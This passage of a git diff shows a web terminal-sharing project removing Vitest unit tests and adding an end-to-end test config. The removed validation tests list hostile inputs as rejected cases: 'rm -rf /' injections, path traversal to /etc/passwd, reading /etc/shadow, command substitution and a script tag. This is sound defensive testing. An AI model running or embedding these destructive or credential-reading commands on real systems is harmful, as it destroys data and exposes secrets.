expect((result as { code: number; error: string }).error).toContain(
|
||||
'Failed to create session'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle timeout for long-running commands', async () => {
|
||||
const mockSlowProcess = {
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
|
||||
// Simulate timeout
|
||||
const timeoutId = setTimeout(() => {
|
||||
proc.kill('SIGTERM');
|
||||
}, 100);
|
||||
|
||||
expect(proc.kill).toBeDefined();
|
||||
clearTimeout(timeoutId);
|
||||
});
|
||||
|
||||
it('should handle invalid session ID', async () => {
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Error: Session not found'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(1);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const result = await new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', 'non-existent-session']);
|
||||
let error = '';
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
resolve({ code, error });
|
||||
});
|
||||
});
|
||||
|
||||
expect((result as { code: number; error: string }).code).toBe(1);
|
||||
expect((result as { code: number; error: string }).error).toContain('Session not found');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,37 +1,6 @@
|
|||
import { vi } from 'vitest';
|
||||
|
||||
// Set test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
|
||||
// Only mock node-pty for unit tests, not integration tests
|
||||
if (!process.env.VITEST_INTEGRATION) {
|
||||
// Mock node-pty for tests since it requires native bindings
|
||||
vi.mock('node-pty', () => ({
|
||||
spawn: vi.fn(() => ({
|
||||
pid: 12345,
|
||||
process: 'mock-process',
|
||||
write: vi.fn(),
|
||||
resize: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
on: vi.fn(),
|
||||
onData: vi.fn(),
|
||||
onExit: vi.fn(),
|
||||
})),
|
||||
}));
|
||||
}
|
||||
|
||||
// Set up global test utilities
|
||||
global.fetch = vi.fn();
|
||||
|
||||
// Mock WebSocket for tests
|
||||
global.WebSocket = vi.fn(() => ({
|
||||
send: vi.fn(),
|
||||
close: vi.fn(),
|
||||
addEventListener: vi.fn(),
|
||||
removeEventListener: vi.fn(),
|
||||
readyState: 1,
|
||||
})) as unknown as typeof WebSocket;
|
||||
|
||||
// Add custom matchers if needed
|
||||
expect.extend({
|
||||
toBeValidSession(received) {
|
||||
|
|
|
|||
|
|
@ -1,16 +0,0 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
describe('Smoke Test', () => {
|
||||
it('should run basic math', () => {
|
||||
expect(1 + 1).toBe(2);
|
||||
});
|
||||
|
||||
it('should handle async operations', async () => {
|
||||
const result = await Promise.resolve('test');
|
||||
expect(result).toBe('test');
|
||||
});
|
||||
|
||||
it('should verify test environment', () => {
|
||||
expect(process.env.NODE_ENV).toBe('test');
|
||||
});
|
||||
});
|
||||
|
|
@ -1,280 +0,0 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
// Session validation utilities that should be in the actual code
|
||||
const validateSessionId = (id: unknown): boolean => {
|
||||
return typeof id === 'string' && /^[a-f0-9-]+$/.test(id);
|
||||
};
|
||||
|
||||
const validateCommand = (command: unknown): boolean => {
|
||||
return (
|
||||
Array.isArray(command) &&
|
||||
command.length > 0 &&
|
||||
command.every((arg) => typeof arg === 'string' && arg.length > 0)
|
||||
);
|
||||
};
|
||||
|
||||
const validateWorkingDir = (dir: unknown): boolean => {
|
||||
return typeof dir === 'string' && dir.length > 0 && !dir.includes('\0');
|
||||
};
|
||||
|
||||
const sanitizePath = (path: string): string => {
|
||||
// Remove null bytes and normalize
|
||||
return path.replace(/\0/g, '').normalize();
|
||||
};
|
||||
|
||||
const isValidSessionName = (name: unknown): boolean => {
|
||||
return (
|
||||
typeof name === 'string' &&
|
||||
name.length > 0 &&
|
||||
name.length <= 255 &&
|
||||
// eslint-disable-next-line no-control-regex
|
||||
!/[<>:"|?*\x00-\x1f]/.test(name)
|
||||
);
|
||||
};
|
||||
|
||||
describe('Session Validation', () => {
|
||||
describe('validateSessionId', () => {
|
||||
it('should accept valid session IDs', () => {
|
||||
const validIds = [
|
||||
'abc123def456',
|
||||
'123e4567-e89b-12d3-a456-426614174000',
|
||||
'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
|
||||
'a1b2c3d4',
|
||||
];
|
||||
|
||||
validIds.forEach((id) => {
|
||||
expect(validateSessionId(id)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid session IDs', () => {
|
||||
const invalidIds = [
|
||||
'',
|
||||
null,
|
||||
undefined,
|
||||
123,
|
||||
'session with spaces',
|
||||
'../../../etc/passwd',
|
||||
'session;rm -rf /',
|
||||
'session$variable',
|
||||
'session`command`',
|
||||
];
|
||||
|
||||
invalidIds.forEach((id) => {
|
||||
expect(validateSessionId(id)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('validateCommand', () => {
|
||||
it('should accept valid commands', () => {
|
||||
const validCommands = [
|
||||
['bash'],
|
||||
['ls', '-la'],
|
||||
['node', 'app.js'],
|
||||
['python', '-m', 'http.server', '8000'],
|
||||
['vim', 'file.txt'],
|
||||
];
|
||||
|
||||
validCommands.forEach((cmd) => {
|
||||
expect(validateCommand(cmd)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid commands', () => {
|
||||
const invalidCommands = [
|
||||
[],
|
||||
null,
|
||||
undefined,
|
||||
'bash',
|
||||
[''],
|
||||
[123],
|
||||
[null],
|
||||
['bash', null],
|
||||
['bash', 123],
|
||||
];
|
||||
|
||||
invalidCommands.forEach((cmd) => {
|
||||
expect(validateCommand(cmd)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('validateWorkingDir', () => {
|
||||
it('should accept valid directories', () => {
|
||||
const validDirs = [
|
||||
'/home/user',
|
||||
'/tmp',
|
||||
'.',
|
||||
'..',
|
||||
'/home/user/projects/my-app',
|
||||
'C:\\Users\\User\\Documents',
|
||||
];
|
||||
|
||||
validDirs.forEach((dir) => {
|
||||
expect(validateWorkingDir(dir)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid directories', () => {
|
||||
const invalidDirs = ['', null, undefined, 123, '/path/with\0null', '\0/etc/passwd'];
|
||||
|
||||
invalidDirs.forEach((dir) => {
|
||||
expect(validateWorkingDir(dir)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('isValidSessionName', () => {
|
||||
it('should accept valid session names', () => {
|
||||
const validNames = [
|
||||
'My Session',
|
||||
'Project Build',
|
||||
'test-123',
|
||||
'Development Server',
|
||||
'SSH to production',
|
||||
];
|
||||
|
||||
validNames.forEach((name) => {
|
||||
expect(isValidSessionName(name)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid session names', () => {
|
||||
const invalidNames = [
|
||||
'',
|
||||
null,
|
||||
undefined,
|
||||
'a'.repeat(256),
|
||||
'session<script>',
|
||||
'session>redirect',
|
||||
'session:colon',
|
||||
'session"quote',
|
||||
'session|pipe',
|
||||
'session?question',
|
||||
'session*asterisk',
|
||||
'session\0null',
|
||||
'session\x01control',
|
||||
];
|
||||
|
||||
invalidNames.forEach((name) => {
|
||||
expect(isValidSessionName(name)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('sanitizePath', () => {
|
||||
it('should remove null bytes', () => {
|
||||
expect(sanitizePath('/path/with\0null')).toBe('/path/withnull');
|
||||
expect(sanitizePath('\0/etc/passwd')).toBe('/etc/passwd');
|
||||
expect(sanitizePath('file\0\0\0.txt')).toBe('file.txt');
|
||||
});
|
||||
|
||||
it('should normalize paths', () => {
|
||||
expect(sanitizePath('/path//to///file')).toBe('/path//to///file');
|
||||
expect(sanitizePath('café.txt')).toBe('café.txt');
|
||||
});
|
||||
|
||||
it('should handle clean paths', () => {
|
||||
expect(sanitizePath('/home/user')).toBe('/home/user');
|
||||
expect(sanitizePath('file.txt')).toBe('file.txt');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Environment Variable Validation', () => {
|
||||
const isValidEnvVar = (env: unknown): boolean => {
|
||||
if (typeof env !== 'object' || env === null) return false;
|
||||
|
||||
for (const [key, value] of Object.entries(env)) {
|
||||
// Key must be valid env var name
|
||||
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) return false;
|
||||
// Value must be string
|
||||
if (typeof value !== 'string') return false;
|
||||
// No null bytes
|
||||
if (value.includes('\0')) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
};
|
||||
|
||||
it('should accept valid environment variables', () => {
|
||||
const validEnvs = [
|
||||
{ PATH: '/usr/bin:/usr/local/bin' },
|
||||
{ NODE_ENV: 'production' },
|
||||
{ HOME: '/home/user', SHELL: '/bin/bash' },
|
||||
{ API_KEY: 'secret123', PORT: '3000' },
|
||||
];
|
||||
|
||||
validEnvs.forEach((env) => {
|
||||
expect(isValidEnvVar(env)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid environment variables', () => {
|
||||
const invalidEnvs = [
|
||||
null,
|
||||
undefined,
|
||||
'not an object',
|
||||
{ '': 'empty key' },
|
||||
{ '123start': 'number start' },
|
||||
{ 'has-dash': 'invalid char' },
|
||||
{ 'has space': 'invalid char' },
|
||||
{ valid: 123 },
|
||||
{ valid: null },
|
||||
{ valid: undefined },
|
||||
{ valid: 'has\0null' },
|
||||
];
|
||||
|
||||
invalidEnvs.forEach((env) => {
|
||||
expect(isValidEnvVar(env)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Command Injection Prevention', () => {
|
||||
const hasDangerousPatterns = (input: string): boolean => {
|
||||
const dangerous = [
|
||||
/[;&|`$(){}[\]<>]/, // Shell metacharacters
|
||||
/\.\./, // Directory traversal
|
||||
/\0/, // Null bytes
|
||||
/\n|\r/, // Newlines
|
||||
];
|
||||
|
||||
return dangerous.some((pattern) => pattern.test(input));
|
||||
};
|
||||
|
||||
it('should detect dangerous patterns', () => {
|
||||
const dangerous = [
|
||||
'command; rm -rf /',
|
||||
'command && evil',
|
||||
'command || evil',
|
||||
'command | evil',
|
||||
'command `evil`',
|
||||
'command $(evil)',
|
||||
'command > /etc/passwd',
|
||||
'command < /etc/shadow',
|
||||
'../../../etc/passwd',
|
||||
'file\0.txt',
|
||||
'multi\nline',
|
||||
];
|
||||
|
||||
dangerous.forEach((input) => {
|
||||
expect(hasDangerousPatterns(input)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should allow safe patterns', () => {
|
||||
const safe = [
|
||||
'normal-file.txt',
|
||||
'my_session_123',
|
||||
'/home/user/project',
|
||||
'Project Name',
|
||||
'test@example.com',
|
||||
];
|
||||
|
||||
safe.forEach((input) => {
|
||||
expect(hasDangerousPatterns(input)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,234 +0,0 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
// Mock implementations for testing
|
||||
class UrlHighlighter {
|
||||
highlight(text: string): string {
|
||||
// Escape HTML first
|
||||
const escaped = text
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
|
||||
// Then detect and highlight URLs
|
||||
return escaped.replace(
|
||||
/(https?:\/\/[^\s]+)/g,
|
||||
'<a href="$1" target="_blank" rel="noopener noreferrer">$1</a>'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class CastConverter {
|
||||
private width: number;
|
||||
private height: number;
|
||||
private events: Array<[number, 'o', string]> = [];
|
||||
private title?: string;
|
||||
private env?: Record<string, string>;
|
||||
|
||||
constructor(width: number, height: number) {
|
||||
this.width = width;
|
||||
this.height = height;
|
||||
}
|
||||
|
||||
addOutput(output: string, timestamp: number): void {
|
||||
this.events.push([timestamp, 'o', output]);
|
||||
}
|
||||
|
||||
setTitle(title: string): void {
|
||||
this.title = title;
|
||||
}
|
||||
|
||||
setEnvironment(env: Record<string, string>): void {
|
||||
this.env = env;
|
||||
}
|
||||
|
||||
getCast(): {
|
||||
version: number;
|
||||
width: number;
|
||||
height: number;
|
||||
timestamp: number;
|
||||
title?: string;
|
||||
env: Record<string, string>;
|
||||
events: Array<[number, 'o', string]>;
|
||||
} {
|
||||
return {
|
||||
version: 2,
|
||||
width: this.width,
|
||||
height: this.height,
|
||||
timestamp: Math.floor(Date.now() / 1000),
|
||||
title: this.title,
|
||||
env: this.env || {},
|
||||
events: this.events,
|
||||
};
|
||||
}
|
||||
|
||||
toJSON(): string {
|
||||
return JSON.stringify(this.getCast());
|
||||
}
|
||||
}
|
||||
|
||||
describe('Utility Functions', () => {
|
||||
describe('UrlHighlighter', () => {
|
||||
it('should detect http URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Check out http://example.com for more info';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('<a');
|
||||
expect(result).toContain('href="http://example.com"');
|
||||
expect(result).toContain('http://example.com</a>');
|
||||
});
|
||||
|
||||
it('should detect https URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Secure site: https://secure.example.com/path';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="https://secure.example.com/path"');
|
||||
});
|
||||
|
||||
it('should handle multiple URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Visit http://site1.com and https://site2.com';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
const matches = result.match(/<a[^>]*>/g);
|
||||
expect(matches).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('should preserve text around URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Before http://example.com after';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toMatch(/^Before <a[^>]*>http:\/\/example\.com<\/a> after$/);
|
||||
});
|
||||
|
||||
it('should handle text without URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'No URLs here, just plain text';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toBe(text);
|
||||
});
|
||||
|
||||
it('should escape HTML in non-URL text', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = '<script>alert("xss")</script> http://safe.com';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).not.toContain('<script>');
|
||||
expect(result).toContain('<script>');
|
||||
expect(result).toContain('<a');
|
||||
});
|
||||
|
||||
it('should handle localhost URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Local dev: http://localhost:3000/api';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="http://localhost:3000/api"');
|
||||
});
|
||||
|
||||
it('should handle IP address URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Server at http://192.168.1.1:8080';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="http://192.168.1.1:8080"');
|
||||
});
|
||||
});
|
||||
|
||||
describe('CastConverter', () => {
|
||||
it('should create basic cast structure', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const cast = converter.getCast();
|
||||
|
||||
expect(cast.version).toBe(2);
|
||||
expect(cast.width).toBe(80);
|
||||
expect(cast.height).toBe(24);
|
||||
expect(cast.timestamp).toBeGreaterThan(0);
|
||||
expect(Array.isArray(cast.events)).toBe(true);
|
||||
});
|
||||
|
||||
it('should add output events', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Hello World\n', 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(1);
|
||||
expect(cast.events[0]).toEqual([1.0, 'o', 'Hello World\n']);
|
||||
});
|
||||
|
||||
it('should handle multiple events in order', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('First\n', 0.5);
|
||||
converter.addOutput('Second\n', 1.0);
|
||||
converter.addOutput('Third\n', 1.5);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(3);
|
||||
expect(cast.events[0][0]).toBe(0.5);
|
||||
expect(cast.events[1][0]).toBe(1.0);
|
||||
expect(cast.events[2][0]).toBe(1.5);
|
||||
});
|
||||
|
||||
it('should handle empty output', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('', 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(1);
|
||||
expect(cast.events[0][2]).toBe('');
|
||||
});
|
||||
|
||||
it('should handle special characters', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const specialChars = '\x1b[31mRed Text\x1b[0m\n';
|
||||
converter.addOutput(specialChars, 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events[0][2]).toBe(specialChars);
|
||||
});
|
||||
|
||||
it('should export valid JSON', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Test\n', 1.0);
|
||||
|
||||
const json = converter.toJSON();
|
||||
const parsed = JSON.parse(json);
|
||||
|
||||
expect(parsed.version).toBe(2);
|
||||
expect(parsed.width).toBe(80);
|
||||
expect(parsed.height).toBe(24);
|
||||
expect(parsed.events).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('should set custom environment', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const env = { SHELL: '/bin/bash', TERM: 'xterm-256color' };
|
||||
converter.setEnvironment(env);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.env).toEqual(env);
|
||||
});
|
||||
|
||||
it('should set custom title', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.setTitle('My Recording');
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.title).toBe('My Recording');
|
||||
});
|
||||
|
||||
it('should handle timing precision', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Output', 1.123456789);
|
||||
|
||||
const cast = converter.getCast();
|
||||
// Should maintain precision to at least 5 decimal places
|
||||
expect(cast.events[0][0]).toBeCloseTo(1.123456, 5);
|
||||
});
|
||||
});
|
||||
});
|
||||
18
web/vitest.config.e2e.ts
Normal file
18
web/vitest.config.e2e.ts
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
import { defineConfig } from 'vitest/config';
|
||||
import path from 'path';
|
||||
|
||||
export default defineConfig({
|
||||
test: {
|
||||
globals: true,
|
||||
environment: 'node',
|
||||
// NO SETUP FILES - we want raw, unmocked environment
|
||||
include: ['src/test/e2e/**/*.test.ts'],
|
||||
testTimeout: 60000, // E2E tests need more time
|
||||
hookTimeout: 30000, // Cleanup hooks need time too
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': path.resolve(__dirname, './src'),
|
||||
},
|
||||
},
|
||||
});
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
import { defineConfig } from 'vitest/config';
|
||||
import path from 'path';
|
||||
|
||||
export default defineConfig({
|
||||
test: {
|
||||
globals: true,
|
||||
environment: 'node',
|
||||
setupFiles: ['./src/test/setup.integration.ts'],
|
||||
include: ['src/test/integration/**/*.test.ts'],
|
||||
coverage: {
|
||||
provider: 'v8',
|
||||
reporter: ['text', 'json', 'html', 'lcov'],
|
||||
exclude: [
|
||||
'node_modules/',
|
||||
'src/test/',
|
||||
'dist/',
|
||||
'public/',
|
||||
'*.config.ts',
|
||||
'*.config.js',
|
||||
'**/*.test.ts',
|
||||
'**/*.spec.ts',
|
||||
],
|
||||
include: [
|
||||
'src/**/*.ts',
|
||||
'src/**/*.js',
|
||||
],
|
||||
all: true,
|
||||
},
|
||||
testTimeout: 30000, // Integration tests may take longer
|
||||
pool: 'forks', // Use separate processes for integration tests
|
||||
poolOptions: {
|
||||
forks: {
|
||||
singleFork: true, // Run tests sequentially to avoid port conflicts
|
||||
},
|
||||
},
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': path.resolve(__dirname, './src'),
|
||||
},
|
||||
},
|
||||
});
|
||||
Loading…
Reference in a new issue